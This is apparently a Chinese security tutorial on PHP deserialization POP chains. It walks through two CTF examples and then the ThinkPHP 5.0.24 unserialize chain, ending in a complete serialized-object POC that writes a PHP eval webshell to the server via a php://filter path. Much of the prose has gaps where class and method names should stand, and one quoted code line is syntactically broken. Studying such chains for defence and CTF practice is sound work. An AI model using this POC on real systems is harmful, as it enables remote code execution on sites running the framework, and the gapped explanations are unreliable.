基本的魔术方法和反序列化漏洞原理这里就不展开了。
给出一些魔术方法的触发条件:
__construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在unserialize()时会自动调用
__set方法:当程序试图写入一个不存在或不可见的成员变量时,PHP就会执行set方法。
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
__call()方法:当调用一个对象中不存在的方法时,call 方法将会被自动调用。
pop链
面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;只不过ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程;因为反序列化中我们能控制的也就只有对象的属性了
总的来说,POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
构造思路
对于POP链的构造,我们首先要找到它的头和尾。pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了
下面我们看两个例子
POP链实例1
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用 (如,echo 一个对象)
__destruct()当一个对象销毁时被调用
思路分析:先找POP链的头和尾,头部明显是GET传参,尾部是类中的,然后往上倒推,类中的中调用了,类中的可以调用,然后类中的可以构造来调用,所以我们GET传参让其先进入,这样头和尾就连上了,所以说完整的链子就是:
头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
具体构造:
在类中我们要把赋值成对象,下面出来才能调用类中的,然后再把类中的赋值成对象,来调用类中的
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a->str = $b;
$b->str['str']= $c;
echo serialize($a);
?>
然后将结果进行url编码,GET方式传入
POP链实例2——2021强网杯-赌徒
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
__wakeup将在unserialize()时会自动调用
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
__toString()当一个对象被当作一个字符串使用
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
思路分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到类中有个方法,里面有一个,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,类中方法调用了,然后类的里面有个可以调用,再往前看,类中的中有类中不存在的属性,所以可以调用,然后类中有个可以调用,然后在类中方法中直接调用了,而我们知道的是,输入字符串之后就会先进入,这样头和尾就连上了
头 -> Start::__wakeup() -> Start::__sayhello() -> Info::__toString() -> Room::__get() -> Room::__invoke() -> Room::__Get_hint() -> 尾
具体构造:
类的方法在反序列化时自动调用,然后调用方法,这里我们要把赋值成对象,出来才能调用类中的,然后再把类中的赋值成对象,来调用类中的,再把类中的赋值成对象,来调用类中的,最终调用方法拿到flag
<?php
class Start
{
public $name;
}
class Info
{
private $phonenumber;
public $promise;
}
class Room
{
public $filename='./flag';
public $sth_to_set;
public $a='';
}
$a = new Start;
$b = new Info;
$c = new Room;
$d = new Room;
$a->name = $b;
$b->file['filename'] = $c;
$c->a = $d;
echo serialize($a);
echo '</br>';
echo urlencode(serialize($a));
?>
把前面的去掉再进行base64解码才能得到flag
TP5.0.24反序列化利用链
环境搭建
下载thinkPHP
http://www.thinkphp.cn/donate/download/id/1279.html
将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。
添加一行代码即可:
unserialize(base64_decode($_GET['a']));
POP链构造分析
首先,进行全局搜索__destruct
查看的Windows类中调用了__destruct魔术方法
跟进方法
file_exists — 检查文件或目录是否存在
file_exists ( string ) : bool
发现file_exists函数,file_exists接收一个字符串,所以如果传入一个对象的话,会把对象当作字符串处理,这时候就可以调用__toString魔术方法。
全局搜索__toString:
查看此方法在Model(thinkphp/library/think/Model.php):
不过Model类为抽象类,不能直接调用
因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用
回到方法,它调用了方法,跟进
继续跟进方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . );
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
只要对象可控,且调用了不存在的方法,就会调用方法。可以看到,存在如下三个可能可以控制的对象:
经过分析最后一处是我们利用__call魔术方法 的点。
我们来看一下代码怎么才能执行到:
1.!empty($this->append) # $this->append不为空
2.!is_array($name) #$name不能为数组
3.!strpos($name, '.') #$name不能有.
4.method_exists($this, $relation) #$relation必须为Model类里的方法
5.method_exists($modelRelation, 'getBindAttr') #$modelRelation必须存在getBindAttr方法
6.$bindAttr #$bindAttr不为空
7.!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。
需要满足以上七个条件。
我们来逐个分析一下:
满足前三个条件,到了第四个条件,发现跟有关系.如下:
$relation = Loader::parseName($name, 1, false);
跟进
发现只是将字符串命名风格进行了转换。也就是说$name==$relation。
满足了第四个条件
下面进入了关键两行代码:
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
前面我们使得为方法,返回值可控,所以也可控。
跟进方法:
我们看到必须为类的对象,可以通过控制
要满足if语句的条件就可以让value可控,所以这个对象还要有、方法。
这两种方法在类中都有,但因为为抽象类,需要寻找他的子类。全局搜索:
除了最后一个是抽象类外,都可以拿来用,但是我们还需要满足第五个条件,需要必须存在方法,但是类没有方法,只有类里有,且类正好继承类,不过是抽象类,所以我们需要找它的子类。全局搜索:
满足了第五个条件。
好了,调用方法的问题解决了,下面思考如何满足if语句的条件:
①
可控,我们要使用类中的,所以必须为对象,所以必须控制为对象,即.
②
我们看一下方法:
public function isSelfRelation()
{
return $this->selfRelation;
}
可控,设为false即可。
③
get_class — 返回对象的类名
已经确定为类了,所以我们要控制为类,看一下的实现:
public function getModel()
{
return $this->query->getModel();
}
可控,我们只需要找个方法返回值可控的就可以了,全局搜索方法:
可以看到类中getModel方法返回值可控,使 ,即可。
满足了if语句的条件,if方法为True,.
下面来看第六个条件:
$bindAttr = $modelRelation->getBindAttr();
满足了第六个、第七个条件。
于是就到达了
因为类中没有方法,所以会去调用方法。
跟进Output类中的__call方法:
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
方法中的,
我们要使用 就要使成立。可控,即
array_unshift — 在数组开头插入一个或多个单元
array_unshift ( array [, mixed $...] ) : int
是将添加到数组中不用管。
进入
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array( callable $callback, array $param_arr) : mixed
把第一个参数作为回调函数()调用,把参数数组作()为回调函数的的参数传入。
调用了方法,跟进方法:
跟进writeln方法:
跟进write方法:
可控全局查找可利用的方法:
这里选择里的方法
因为也存在一个我们可以控制,进而可以利用方法。
全局查找set方法:
这里选择下的方法,因为发现存在写入文件:
$result = file_put_contents($filename, $data);
接下来就是查看, 这两个参数是否可控:
先看:
跟进方法:
这里可控,所以可控。
现在就只需要写入的可控了:
的值来自,但是我们没法控制
但是继续往下看,进入方法之后发现,会将换成再一次执行了方法。
前面分析过,我们可以控制,所以也可以控制,所以这次调用方法,传入的三个值我们都可以控制:
通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。
例如:
$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>
生成的文件名为:
md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=> <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最终文件名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php
对于windows环境我们可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的文件名如下:
https://xz.aliyun.com/t/7457#toc-3
POP链(图)
POC
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo "<br/><br/><br/>";
echo base64_encode(serialize($window));
}